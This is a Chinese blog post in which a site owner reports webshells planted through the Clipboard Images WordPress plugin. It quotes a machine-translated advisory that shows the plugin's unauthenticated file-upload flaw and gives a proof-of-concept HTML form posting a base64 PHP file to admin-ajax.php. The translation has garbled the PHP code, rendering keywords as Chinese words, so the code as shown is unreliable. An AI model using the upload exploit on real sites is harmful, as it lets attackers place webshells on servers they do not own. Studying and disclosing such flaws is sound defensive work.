找到一堆shell,快成为马场了
但由于服务器迁移,以前的日志文件已经没法找到了..根据文件名可以大致猜到是上传..而且对应截图插件的命名方式;主要2个原因:
1、开启了用户注册,之前一直默认
2、使用了Clipboard Images 插件
下附相关资料:
https://www.pluginvulnerabilities.com/2019/01/04/a-hacker-is-probably-already-exploiting-this-arbitrary-file-upload-vulnerability-in-a-wordpress-plugin/
在过去的几天里,有人开始 使用 Tor 节点向文件 /wp-content/plugins/image-clipboard/readme.txt发出 请求,该文件来自 WordPress 插件Clipboard Images。这可能是黑客在利用该插件的漏洞之前探查该插件的使用情况,根据 wordpress.org 的数据,该插件有 800 多个活动安装。在我们今天早上注意到这一活动后,我们去查看代码,看看我们是否能找到黑客可能利用的漏洞,并且只用了几分钟就找到了很可能已经被利用的漏洞。
使这相对容易的是插件只包含一个包含任何实质性代码的函数。该函数名为 save_image(),登录和未登录 WordPress 的用户均可通过 WordPress AJAX 功能访问它:
19 20 |
add_action ( 'wp_ajax_cbimages_save' , 数组( & $this , 'save_image' ) ) ; add_action ( 'wp_ajax_nopriv_cbimages_save' , 数组( & $this , 'save_image' ) ) ; |
该函数中的代码使用来自 POST 输入“img”的数据将文件保存到网站的文件系统:
48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
公共 函数save_image ( ) { $post_id = $_POST [ 'post_id' ] ; $img = $_POST [ 'img' ] ; $tmp_img = 爆炸( ";" , $img ) ; $img_header = explode ( '/' , $tmp_img [ 0 ] ) ; $ext = $img_header [ 1 ] ; $imgtitle = mt_rand ( 111 , 999 ) ; $imgtitle .= '.' . $ext ; $uploads = wp_upload_dir ( $time = null ) ; $filename = wp_unique_filename ( $uploads [ 'path' ] , $imgtitle ) ; $image_url = $uploads [ 'url' ] 。'/' 。$文件名; file_put_contents ( $uploads [ 'path' ] . '/' . $filename , file_get_contents ( 'data://' . $img ) ) ; |
保存的文件可以有任何扩展名,但它是随机命名的。当对该函数发出请求时,将返回该随机名称:
78
|
echo json_encode ( array ( 'file' => $uploads [ 'url' ] . '/' . $filename ) ) ; |
因此,黑客可以上传包含恶意代码的 .php 文件,然后请求该文件执行该代码。
由于 WordPress 支持论坛的版主 持续的 不当 行为, 我们将 全面公开漏洞以示抗议,直到 WordPress 清理该情况,因此我们发布此帖子,然后仅尝试通过 WordPress 支持论坛通知开发人员。您也可以在论坛上将此问题通知开发人员。希望版主最终会看到光明并尽快清理他们的行为,因此不再需要这些完整的披露(我们希望它们很快结束)。你可能会认为他们已经做的是,由于 以前完全披露的漏洞 是 很快的黑客雷达,但这些版主似乎对 WordPress 社区的其他人如此不屑,以至于他们继续采取不当行为的能力比对社区其他人最有利更重要。
概念证明
以下概念证明将导致 .php 文件保存到响应中指定的位置。当请求时,新上传的文件将输出消息“测试”。
确保将“[WordPress 的路径]”替换为 WordPress 的位置。
<html> <身体> <form action="http://[WordPress 的路径]/wp-admin/admin-ajax.php?action=cbimages_save" method="POST"> <input type="hidden" name="img" value="data:image/php;base64,PD9waHAKZWNobyAnVGVzdCc7Cj8+" /> <input type="submit" value="提交" /> </form> </正文> </html>
https://github.com/uptimizt/image-clipboard/issues/9